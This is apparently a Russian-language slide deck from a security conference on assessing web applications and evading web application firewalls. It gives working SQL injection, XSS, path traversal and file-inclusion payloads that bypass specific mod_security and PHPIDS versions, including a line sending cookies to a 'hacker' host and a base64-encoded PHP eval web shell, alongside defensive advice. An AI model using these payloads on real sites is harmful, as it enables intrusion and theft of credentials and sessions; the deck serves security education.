Практика обхода WAF: SQL Injection –  HPP  (пример 1) Использование  HTTP Parameter Pollution (HPP) Следующий запрос не позволяет провести атаку /?id=1 ;select+1,2, 3 +from+users+where+id=1 -- Такой запрос успешно отработает при использовании HPP /?id=1 ;select+1 &id= 2, 3 +from+users+where+id=1 -- Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Практика обхода WAF: SQL Injection –  HPP Как это работает ? Пример в среде  IIS/ASP GET /index.asp?id= param1 &id= param2 &id= param3  HTTP/1.1 Host: localhost … После обработки такого  HTTP- запроса  web- приложение в качестве значения  GET[id]  получит следующие данные : Request.QueryString(&quot;id&quot;) = &quot; param1 , param2 , param3 &quot;
Практика обхода WAF:  HTTP Parameter Pollution (HPP)
Практика обхода WAF: SQL Injection –  HPP Пример в среде  Apache/PHP/Mod_Rewrite Правило  mod_rewrite: ... RewriteRule (.+)/(.+)/(.+)/$ / index.php?action= view &module=$1&category=$2&id=$3 … HTTP- запрос : GET /1/2/ 3 &action=edit / HTTP/1.1 Host: localhost … После обработки такого  HTTP- запроса в  Web- приложение поступит переменная  GET[action]  с установленным значением &quot; edit”  вместо ожидаемого значения &quot; view&quot; .
Практика обхода WAF:  HTTP Parameter Pollution (HPP) Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/APACHE Последний параметр результирующий par1=val2 PHP/Zeus Последний параметр результирующий par1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1 JSP,Servlet/Jetty Первый параметр результирующий par1=val1 IBM Lotus Domino Первый параметр результирующий par1=val1 IBM HTTP Server Последний параметр результирующий par1=val2 mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1 Perl CGI/Apache Первый параметр результирующий par1=val1 mod_perl,lib???/Apache Первый параметр результирующий par1=val1 mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующий par1=val1 IceWarp Возвращается массив ['val1','val2'] AXIS 2400 Последний параметр результирующий par1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2 Ricoh Aficio 1022 Printer  Последний параметр результирующий par1=val2 webcamXP Pro Первый параметр результирующий par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
Практика обхода WAF: SQL Injection –  HPP  (пример 2) Использование  HTTP Parameter Pollution (HPP) Уязвимый код SQL=&quot; select key from table where id= &quot;+ Request.QueryString(&quot;id&quot;) Такой запрос успешно отработает при использовании техники HPP /?id=1 /**/union/* &id= */select/* &id= */pwd/* &id= */from/* &id= */users SQL- запрос   примет вид select key from table where id= 1 /**/union/* , */select/* , */pwd/* , */from/* , */users Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf
Практика обхода WAF: SQL Injection  – HPF Использование  HTTP Parameter Fragmentation (HPF) Пример уязвимого кода Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b'] ); Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b']. &quot; limit &quot; .$_GET['c'] ); Следующий запрос не позволяет провести атаку /?a=1+ union+select +1,2/* При использовании  HPF  такие запросы  могут  успешно отработать /?a=1+ union/* &b= */select+1,2 /?a=1+ union/* &b= */select+1,pass/* &c= */from+users-- SQL - запросы   принимают вид select * from table where a= 1  union /* and b=*/ select 1,2 select * from table where a= 1  union /* and b=*/ select 1,pass /*   limit */ from users -- http://devteev.blogspot.com/2009/09/http-parameter-fragmentation-hpf-web.html
Практика обхода WAF:  Blind  SQL Injection Использование логических запросов  AND  и  OR Следующий запрос для многих  WAF  позволяет успешно провести атаку /?id=1+ OR+0x50=0x50 /?id=1+ and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Вместо знака равенства может использоваться отрицание   или неравенство (!=,  <>, <, > )  –  Парадокс! Но многие  WAF  это пропускают. Заменяя функции  SQL , которые попадают в сигнатуры  WAF , на их   синонимы, можно эксплуатировать уязвимость методом  blind-SQL Injection substring() -> mid(), substr(), etc ascii() -> hex(), bin(), etc benchmark() -> sleep() Данный пример справедлив для всех  WAF ,   разработчики которых стремятся охватить как можно больше  web- приложений
Практика обхода WAF: SQL Injection  – PHPIDS PHPIDS (0.6.1.1) Ругается на : /?id=1+union+select+user,password+from+mysql.user+ where +user=1 Но пропускает : /?id=1+ union+select+user,password+from+mysql.user+limit+0,1   Ругается на : /?id=1+ OR+1=1 Но пропускает :  / ?id=1+ OR+0x50=0x50 Ругается на : /?id= substring ((1),1,1) Но пропускает : /?id= mid ((1),1,1)
Практика обхода WAF: SQL Injection  – Mod_Security Mod_Security (2.5.9) Ругается на : /?id=1+and+ascii(lower( substring ((select+pwd+from+users+limit+1,1),1,1)))=74 Но пропускает : /?id=1+and+ascii(lower( mid ((select+pwd+from+users+limit+1,1),1,1)))=74  Ругается на : /?id=1+ OR+1=1 Но пропускает :  / ?id=1+ OR+0x50=0x50 Ругается на : /?id=1+ and+5=6 Но пропускает :  / ?id=1+ and+5!=6 Ругается на : /?id=1 ;drop members Но пропускает :  / ?id=1 ;delete members
Практика обхода WAF: SQL Injection  – Mod_Security И еще один красивый способ эксплуатации SQL Injection в обход  Mod_Security (2.5.9) Сервер MySQL позволяет использовать комментарии вида: /*! sql-code */   и  /*!12345 sql-code */ Воспользовавшись этим, можно очень элегантно проводить эксплуатацию  SQL Injection  в обход текущей версии  mod_security . Примеры : /?id=1 /*! limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns */ /?id=1 /*!12345 limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns */ /?id=1 /*! limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users */  http://devteev.blogspot.com/2009/10/sql-injection-waf.html
Общие проблемы Сохраненный вариант  XSS В случае если удалось «протащить»  XSS  через фильтр,  WAF  не сможет воспрепятствовать реализации атаки Отраженный вариант  XSS  в  Javascript Пример :  <script> ... setTimeout(\&quot;writetitle()\&quot;, $_GET[xss] ) ... </script> Эксплуатация : /?xss= 500); alert(document.cookie);// DOM-based   XSS Пример :  <script> ... eval( $_GET[xss] ); ... </script> Эксплуатация : /?xss= document.cookie Аналогичные проблемы наблюдаются у фильтров защиты от  XSS  на уровне  client-side  (например,  IE8 ) Методы обхода  WAF – Cross-Site Scripting
Практика обхода WAF:  Cross-Site Scripting XSS  через перенаправление запроса Уязвимый код : … header('Location: '.$_GET['param']); … А также : … header('Refresh: 0; URL='.$_GET['param']); … Такой запрос  WAF  не пропустит : /?param= javascript:alert(document.cookie) Подобный запрос  WAF  пропустит ,  и  XSS  отработает на некоторых браузерах ( Opera, Safari ,  Chrome, etc ) : /?param= data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html
Практика обхода WAF:  Cross-Site Scripting Использование  HPP, HPF  иногда позволяет обойти фильтры Обход правил фильтрации на примере  ModSecurity: <img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> &quot;;document.write('<img sr'%2b'c=http:// hacker /x.png?'%2bdocument['cookie']%2b'>');&quot; ... BlackHat USA09 Eduardo Vela  (Эдуардо Вела) , David Lindsay  (Дэвид Линдсэй)  http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
Практика обхода WAF:  Path Traversal  и  LFI Действительно, обойти сигнатуру « ../ »   и «..\»   не всегда возможно, но всегда ли это требуется ? Пример 1. Чтение файлов в каталоге, расположенном выше корневого Логика программы : <?  include( $_GET['file'] .&quot;.txt&quot;) ;  ?> Эксплуатация уязвимости : /?file= secrets/admins.db/./.[N]/./. /?file= secrets/admins.db..[N].. Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой:  Нормализация пути (лишние символы, например ,  «/» и «/.» , удаляются) Усечение пути (определяется константой MAX_PATH, которая обычно меньше  MAX_URI_PATH  в  WAF ) http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/
Практика обхода WAF:  Path Traversal  и  LFI Использование замены null-byte в реальных условиях При эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: &quot; any/../file[N] &quot;, или &quot; ../../file[N] &quot;, или &quot; /../../file[N] &quot;, где [N] - замена null-byte, характерная для атакуемой ОС. Примеры  ( среда  FreeBSD 7.2   с php v5.2.10 with Suhosin-Patch 0.9.7): <? include(&quot;q/&quot;.$_GET['f'].&quot;.txt&quot;); ?>  Для выполнения атаки работает:  /? f=../../../../../etc/passwd/.[N]/.   ,  где /.[ N]/. - repeat(&quot;/.&quot;, 487) <? include(&quot;qq/&quot;.$_GET['f'].&quot;.txt&quot;); ?>  Предыдущий  URL  не позволит получить / etc/passwd.  Но такой запрос успешно отработает:  /? f=/../../../../../etc/passwd/.[N]/. <? include($_GET['f'].&quot;.txt&quot;); ?>  Предыдущие запросы не сработают. Отработает следующий  URL:  /?f=non/../../../../../etc/passwd/.[N]/. http://devteev.blogspot.com/2009/08/null-byte.html; http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
Практика обхода WAF:  Path Traversal  и  LFI Пример 2. Выполнение команд на сервере Логика программы : <?  include( $_GET['file'] .&quot;.txt&quot;) ;  ?> Эксплуатация уязвимости : Запрос, блокируемый  WAF: /?file=data:, <?php eval($_REQUEST[cmd]);?> &cmd=phpinfo(); Запрос, который  WAF  пропускает : /?file= data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b &cmd= phpinfo(); Уязвимость основана на особенности интерпретатора PHP  (allow_url_fopen & allow_url_include  должны находиться в состоянии  enable)   reference:  коллективный разум  antichat.ru
Практика обхода WAF:  Remote File Including Фундаментальные ограничения  WAF ( универсальный фильтр будет блокировать легитимные запросы! ) Примеры легитимных запросов в логике крупных  web- ресурсов : Перенаправление  HTTP- запроса : http://www.securitylab.ru/exturl.php?goto=http://ya.ru http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru http://www.google.com/url?url=http://ya.ru http://vkontakte.ru/away.php?to=http://ya.ru ... Обычная запись в  Wiki: http://en.wikipedia.org/wiki/Http://www.google.com Online- переводчик : http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru
Уязвимости в «живой природе»
SQL Injection  можно встретить даже на широко известных и крупных Интернет-ресурсах SQL Injection  в «живой природе»
XSS –  «головная боль» для всех  web- проектов Cross-Site Scripting  в «живой природе»
К чему приводит беззаботное отношение к безопасности  web- приложений ?
Мы немного посканировали… Инструментальное обследование сети Сканирование портов и сервисов Исследование защищенности  web -приложения методом «черного ящика»
… обнаружили уязвимость в  web- приложении… Сканирование сети Успешно подобран пароль! Эксплуатация  SQL Injection Выполнение команд на сервере Повышение привилегий Атака на внутренние ресурсы
… захватили управление всей сетью  :-) Сканирование сети Успешно подобран пароль! Эксплуатация  SQL Injection Выполнение команд на сервере Повышение привилегий Атака на внутренние ресурсы Внутренний пентест Установка сканера  MaxPatrol Поиск уязвимостей Эксплуатация уязвимостей Перемещение в ИС ЦО Проведение атаки на ресурсы ЦО Получение максимальных привилегий во всей сети!
Резюме WAF –  это  не долгожданная &quot;серебряная пуля&quot; WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки Концептуальные проблемы WAF – использование сигнатурного принципа Правильно выстроенный процесс  Software Development Life Cycle (SDLC)  в значительной степени снижает вероятность появления уязвимостей в коде Безопасность должна быть разумной Безопасность должна быть комплексной  Безопасность – это непрерывный процесс
Спасибо за внимание! [email_address] [email_address] http://www.ptsecurity.ru/

Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

  • 1.
    Анализ защищенности w eb-приложений, выявление уязвимостей в реальных условиях Дмитрий Евтеев , Александр Анисимов Positive Technologies
  • 2.
    О чем пойдетречь Введение в тему безопасности w eb-приложений Методология выявления уязвимостей в w eb-приложениях Классические техники эксплуатации уязвимостей Современные техники эксплуатации уязвимостей Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF) Резюме
  • 3.
    Опасный мир web- приложений По данным компании Positive Technologies за 2008 год 83% сайтов содержат критические уязвимости 78% сайтов содержат уязвимости средней степени риска вероятность автоматизированного заражения страниц уязвимого w eb-приложения вредоносным кодом составляет приблизительно 15-20% http://ptsecurity.ru/analytics.asp Данные основываются на проведении 16121 автоматических сканирований, детальном анализе 59 w eb-приложений, в том числе с проведением анализа исходного кода более 10-ти из них.
  • 4.
    Опасный мир web- приложений : статистика за 2008 г.
  • 5.
    Классификация уязвимостей в web- приложениях Web Application Security Consortium WASC-TCv2 http://projects.webappsec.org/Threat-Classification-Working http://www.webappsec.org/projects/threat/
  • 6.
    Опасный мир web- приложений : статистика за 2008 г.
  • 7.
    Классификация уязвимостей в web- приложениях OWASP Top 10 A1 - Cross Site Scripting (XSS) A2 - Injection Flaws (eq SQL Injection) A3 - Malicious File Execution (eq RFI) A4 - Insecure Direct Object Reference (eq Insufficient Authorization) A5 - Cross Site Request Forgery (CSRF) A6 - Information Leakage and Improper Error Handling (eq Information Leakage) A7 - Broken Authentication and Session Management (eq Credential/Session Prediction, Brute Force) A8 - Insecure Cryptographic Storage A9 - Insecure Communications (eq Insufficient Transport Layer Protection) A10 - Failure to Restrict URL Access (eq Insufficient Process Validation) http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
  • 8.
    Классификация уязвимостей в web- приложениях CWE/SANS Top 25 Не безопасное взаимодействие между компонентами CWE-20: Improper Input Validation CWE-116: Improper Encoding or Escaping of Output CWE-89: Failure to Preserve SQL Query Structure ('SQL Injection') CWE-79: Failure to Preserve Web Page Structure ('Cross-site Scripting') CWE-78: Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection') CWE-319: Cleartext Transmission of Sensitive Information CWE-352: Cross-Site Request Forgery (CSRF) CWE-362: Race Condition CWE-209: Error Message Information Leak Риски при управлении ресурсами CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer CWE-642: External Control of Critical State Data CWE-73: External Control of File Name or Path CWE-426: Untrusted Search Path CWE-94: Failure to Control Generation of Code ('Code Injection') CWE-494: Download of Code Without Integrity Check CWE-404: Improper Resource Shutdown or Release CWE-665: Improper Initialization CWE-682: Incorrect Calculation Прочие угрозы CWE-285: Improper Access Control (Authorization) CWE-327: Use of a Broken or Risky Cryptographic Algorithm CWE-259: Hard-Coded Password CWE-732: Incorrect Permission Assignment for Critical Resource CWE-330: Use of Insufficiently Random Values CWE-250: Execution with Unnecessary Privileges CWE-602: Client-Side Enforcement of Server-Side Security http://cwe.mitre.org/top25 /
  • 9.
    Подходы по снижениюугроз Директивный подход ( Directive) Software Development Life Cycle ( SDLC ), «бумажная безопасность», выстраивание высокоуровневых процессов Детективный подход ( Detective) Тестирование функций (black/white-box), фаззинг (fuzzing), статический/динамический/ручной анализ исходного кода Профилактический подход ( Preventive) Intrusion Detection/Prevention Systems (IDS/IPS) , Web Application Firewall ( WAF ) Корректирующий подход ( Corrective) Ведение журналов событий, обработка инцидентов Подход к восстановлению ( Recovery) Резервное копирование, стратегия обеспечения непрерывности бизнес-процессов ( BS25999 )
  • 10.
    Часть 1 : Выявление уязвимостей Методология выявления уязвимостей в w eb-приложениях
  • 11.
    Способы обнаружения уязвимостейв w eb-приложениях Тестирование функций Метод «черного ящика» ( black - box ) Метод «серого ящика» ( gray - box ) Метод «белого ящика» ( white - box ) Фаззинг ( fuzzing) Анализ исходного кода Статический анализ Динамический анализ Ручной анализ Бинарный анализ приложения ( binary analysis )
  • 12.
    Пример тестирования функцийметодом «черного ящика» Сканирование с использованием MaxPatrol http://www.ptsecurity.ru/maxpatrol.asp
  • 13.
    Пример тестирования функцийметодом «черного ящика» Возможности метода «черного ящика» на примере MaxPatrol (1)
  • 14.
    Пример тестирования функцийметодом «черного ящика» Возможности метода «черного ящика» на примере MaxPatrol (2)
  • 15.
    Пример тестирования функцийметодом «серого ящика» Acunetix Web Vulnerability Scanner , технология « AcuSensor » http://www.acunetix.com/websitesecurity/rightwvs.htm
  • 16.
    Пример работы фаззера( fuzzing) Фаззинг сайта, «защищенного» mod_rewrite Тимур Юнусов, Positive Technologies Research Team ( статья в ближайшее время будет опубликована на портале www.securitylab.ru)
  • 17.
    Анализ исходного кода web- приложения Статический анализ Минусы Ошибки первого рода (false negative — «ненайденные уязвимости») при использовании статического анализа возникают в силу следующих причин: при программировании w eb-приложения используется сложный синтаксис; проверки переменных происходят с использованием собственных функций приложения; отсутствуют соответствующие сигнатуры. В силу фундаментальных ограничений сигнатурного поиска возникает множество ошибок второго рода (false positive — «ложные сообщения об уязвимостях»). Плюсы Простота в реализации. Наиболее известные разработчики коммерческих продуктов Armorize Technologies, Fortify, Ounce Labs
  • 18.
    Анализ исходного кода web- приложения Динамический анализ Минусы Присущи те же недостатки, что и сканерам безопасности. Например, невозможно выявить уязвимости «Небезопасное восстановление паролей», «Отсутствие тайм-аута сессии», «Логические атаки» и пр. Сложность в реализации. Плюсы Наиболее качественная оценка исходного кода. Наиболее известные разработчики коммерческих продуктов Coverity, Valgrind, Fortify PTA
  • 19.
    Часть 2 : Эксплуатация уязвимостей ( basic ) Классические техники эксплуатации уязвимостей
  • 20.
    Уязвимости web-приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  • 21.
    Уязвимости web-приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  • 22.
    SQL Injectio n – Базовые знания &quot;Внедрение операторов SQL&quot; Способ нападения на базу данных в обход межсетевой защиты. В этом методе параметры, передаваемые базе данных через w eb- приложения, изменяются таким образом, чтобы изменить выполняемый SQL - запрос. Например, добавляя различные символы к параметру, можно выполнить дополнительный запрос совместно с превоначальным. Выделяют два вида SQL Injection SQL Injection в строковом параметре Примеры : SELECT * from table where name = &quot; $_GET['name'] &quot; SELECT id, acl from table where user_agent = ' $_SERVER[&quot;HTTP_USER_AGENT&quot;] ' SQL Injection в цифровом параметре Примеры : SELECT login, name from table where id = $_COOKIE[&quot;id&quot;] SELECT id, news from table where news = 123 limit $_POST[&quot;limit&quot;]
  • 23.
    SQL Injectio n – Базовые знания Эксплуатацию SQL Injection разделяют в зависимости от типа используемой СУБД и условий внедрения Уязвимый запрос может обрабатывать Insert, Update, Delete , etc . Инъекция может быть в любом участке SQL- запроса Blind SQL Injection ( слепое внедрение операторов SQL) Особенности языка SQL, используемого в разных СУБД Уязвимость SQL- инъекция – это не только уязвимость, характерная для web- приложений!
  • 24.
    Уязвимость типа «Внедрениеоператоров SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
  • 25.
    Уязвимость типа «Внедрениеоператоров SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
  • 26.
    Уязвимость типа «Внедрениеоператоров SQL » web- сервер СУБД http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
  • 27.
    Уязвимость типа «Внедрениеоператоров SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
  • 28.
    Уязвимость типа «Внедрениеоператоров SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
  • 29.
    Уязвимость типа «Внедрениеоператоров SQL » web- сервер СУБД http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
  • 30.
    SQL Injectio n – Базовые знания Анатомия SQL- инъекций SQL- инъекция может эксплуатироваться как в момент проведения атаки, так и по прошествии некоторого времени
  • 31.
    SQL Injectio n – Классическая эксплуатация ( MySQL ) Возможный метод обнаружения уязвимости /?id=1 + ORDER+BY+100 SQL- запрос примет вид SELECT id, name from table where id =1 ORDER BY 100 В результате может быть получено следующее сообщение об ошибке ERROR 1054 (42S22): Unknown column '100' in 'order clause' Получение имен таблиц/колонок ( information_schema/ перебор) и последующее получение данных из найденных таблиц /?id=1+ union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns SQL- запрос примет вид SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns В результате может быть получена требуемая информация в формате | 0 | table1:column1 | | 0 | table1:column2 |
  • 32.
    SQL Injectio n – Различия СУБД Особенности эксплуатации для разных СУБД Пример ( MySQL ) : SELECT * from table where id = 1 union select 1,2,3 Пример (PostgreSQL): SELECT * from table where id = 1 ; select 1,2,3 Пример ( Oracle ) : SELECT * from table where id = 1 union select null,null,null from sys.dual MySQL MSSQL MS Access Oracle DB2 PostgreSQL Объединение строк concat(,) concat_ws(delim,) ' '+' ' &quot; &quot;&&quot; &quot; ' '||' ' '' concat '' &quot; &quot;+&quot; &quot; ' '||' ' ' '||' ' Комментарии -- и /* * / и # -- и /* Нет -- и /* -- -- и /* Объединение запросов union union и ; union union union union и ; Подзапросы v .4.1 >= Да Нет Да Да Да Хранимые процедуры Нет Да Нет Да Нет Да Наличие information_schema или его аналога v .5.0 >= Да Да Да Да Да
  • 33.
    Уязвимости web-приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  • 34.
    Cross-Site Scripting – Базовые знания &quot;Межсайтовое выполнение сценариев“ Межсайтовое выполнение сценариев (Cross site scripting или XSS) – это возможность вставки HTML - кода в уязвимую страницу. Инъекция кода осуществляется через все доступные способы ввода информации. Успешное завершение атаки может привести к использованию значений различных переменных, доступных в контексте сайта, записи информации, перехвату пользовательских сессий и т.д. Условно Cross-Site Scripting (XSS) делят на : Сохраненный вариант (persistent/stored) Отраженный вариант (non-persistent/reflected) Cross-Site Scripting – это уязвимость на стороне клиента ( client side ) Microsoft Internet Explorer 8 XSS filter Mozilla NoScript Firefox extension
  • 35.
    Уязвимость типа «Межсайтовоевыполнение сценариев» web- сервер http://web/?search=secureweb … print &quot;<b>secureweb</b>&quot;; …
  • 36.
    Уязвимость типа «Межсайтовоевыполнение сценариев» web- сервер http://web/?search=secureweb … print &quot;<b>secureweb</b>&quot;; …
  • 37.
    Уязвимость типа «Межсайтовоевыполнение сценариев» web- сервер 1. fuzzing, поиск уязвимости
  • 38.
    Уязвимость типа «Межсайтовоевыполнение сценариев» web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке
  • 39.
    Уязвимость типа «Межсайтовоевыполнение сценариев» web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя
  • 40.
    Уязвимость типа «Межсайтовоевыполнение сценариев» web- сервер 1. fuzzing, поиск уязвимости 2. Передача «заряженной» ссылки : http://web/?search=secureweb&quot;><script>...</script> 3. Переход по ссылке 4. Выполнение исполняемого кода в браузере пользователя 5. Например, передача w eb-сессии (cookies) 6. Работа с w eb-приложением от имени атакованного пользователя
  • 41.
    Cross-Site Scripting – Классическая эксплуатация Возможный метод обнаружения уязвимости /?id= &quot;><script>alert(1)</script> HTML- код возвращаемой страницы примет вид … <font size=&quot; &quot;><script>alert(1)</script> &quot; … В результате браузер выполнит код java-script Пример практического использования : &quot;><script src= http://host/script.js ></script> Дополнительные материалы : ha.ckers XSS Cheat Sheet: http://ha.ckers.org/xss.html WASC Script Mapping: http://projects.webappsec.org/Script-Mapping
  • 42.
    Cross-Site Scripting – Различия браузеров http://projects.webappsec.org/Script-Mapping
  • 43.
    Уязвимости web-приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  • 44.
    Статистика используемых паролейв России Более 40% паролей можно взломать из-за простоты Статистика по паролям низкой стойкости у администраторов : Данные основываются на анализе более 185 тысяч паролей пользователей ( http://www.ptsecurity.ru/download/PT-Metrics-Passwords-2009.pdf ).
  • 45.
    Уязвимость типа «Подбор»web- сервер http://web/secure/
  • 46.
    Уязвимость типа «Подбор»web- сервер http://web/secure/
  • 47.
    Уязвимости web-приложений Статистика уязвимостей web- приложений Positive Technologies за 2008 год ( Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
  • 48.
    Path Traversal, L/RFI– Базовые знания Пример уязвимости Path Traversal Логика программы : fopen( $_GET['file'] ,&quot;r&quot;); index.php?file= myfile.txt Пример эксплуатации : index.php?file= /../../../../../etc/passwd Опасность уязвимости Local File Including Функции include() и require() интерпретируют текст как часть программного кода ! Логика программы : include( $_GET['file'] .&quot;.inc&quot;); index.php?file= myfile Пример эксплуатации : index.php?file= img/command_shell.jpg%00 Рождение Remote File Including Если allow_url_fopen & allow_url_include в состоянии enable, то : index.php?file= http://hacker.host/command_shell
  • 49.
    Уязвимость типа «Обратныйпуть в директориях» web- сервер http://web/?file=positive.jpg … . $handle = fopen(&quot;positive.jpg&quot;,&quot;r&quot;); $contents = fread($handle, filesize(&quot;positive.jpg&quot;)); ….
  • 50.
    Уязвимость типа «Обратныйпуть в директориях» web- сервер http://web/?file=../../../../../../etc/passwd … . $handle = fopen(&quot;../../../../../../etc/passwd&quot;,&quot;r&quot;); $contents = fread($handle, filesize(&quot;../../../../../../etc/passwd&quot;)); ….
  • 51.
    Уязвимости web-приложений Уязвимость типа &quot;Подделка HTTP- запросов&quot; ( Cross-Site Request Forgery, CSRF , XSRF) Почти не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении) В основном, ошибка в том или ином виде встречается во всех анализированных web- приложениях Степень опасности уязвимости CSRF на прямую зависит от функций и задач , решаемых приложением Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к w eb-приложению Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет - проекты, приложения eCommerce и др.) Зачастую применяется связка XSS + CSRF
  • 52.
    Уязвимость типа «Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking )
  • 53.
    Уязвимость типа «Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум
  • 54.
    Уязвимость типа «Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?...
  • 55.
    Уязвимость типа «Подделка HTTP- запросов » Интернет - форум 1. Публикация сообщения : <img src=http://ibanking/action?account=12345&amount=500&for=54321 > Интернет-банк ( ibanking ) 2. Пользователь посещает форум 3. Браузер загружает картинку по адресу : http://ibanking/action?... 4 . Если сессия пользователя существует, то…
  • 56.
    Часть 3: Эксплуатация уязвимостей ( advanced ) Современные техники эксплуатации уязвимостей
  • 57.
    Уязвимость типа «Подделка HTTP- запросов » Распространенные способы защиты от CSRF- атак : Использование CAPTHA Использование дополнительной аутентификации Парольная аутентификация ; Одноразовый токен . Уникальный токен самого HTTP- запроса Токен HTTP- запроса генерируется на стороне сервера ; Токен HTTP- запроса генерируется на стороне сервера и формируется на стороне клиента (javascript) ; Токен HTTP- запроса генерируется на стороне сервера и меняется каждые N секунд. Клиент узнает о новом токене , используя технологию AJAX . Использование механизмов подписи транзакций Защита на основе проверки HTTP Referer
  • 58.
    Защита от уязвимоститипа « Подделка HTTP- запросов » Пример реализации защиты от CSRF на основе OWASP CSRFGuard http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project
  • 59.
    Защита от уязвимоститипа « Подделка HTTP- запросов » Пример реализации защиты от CSRF на основе JSCK ( java-script ) http://www.thespanner.co.uk/2007/10/22/jsck-demo-update/
  • 60.
    Защита от уязвимоститипа « Подделка HTTP- запросов » OWASP .Net_CSRF_Guard, OWASP PHP CSRF Guard и др. – решения по защите от CSRF на уровне интеграции с приложением mod_security в качестве проверки HTTP Referrer. Пример : SecFilterSelective HTTP_REFERER &quot;!(^$|^http:/www\.example\.com/)&quot; chain SecFilterSelective REQUEST_URI &quot;!^(/|/index\.html|/welcome\.html|)$&quot; \ &quot;redirect:http://www.example.com/welcome.html&quot; Инструменты для обнаружения уязвимости CSRF: OWASP CSRFTester Grendel-Scan W3af и др.
  • 61.
    Уязвимость типа «Динамическаяп одделка HTTP- запросов » Современный CSRF – Dynamic Cross-Site Request Forgery BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf Как это работает ? На основе «полезной информации» браузера пользователя можно провести Dynamic CSRF Фиксация сессии (Session Fixation) Использование вектора атаки типа &quot;brute force&quot; (используется атака &quot; CSS History Hack &quot;)
  • 62.
    Уязвимость типа «Динамическаяп одделка HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый атакующим ( bonus )
  • 63.
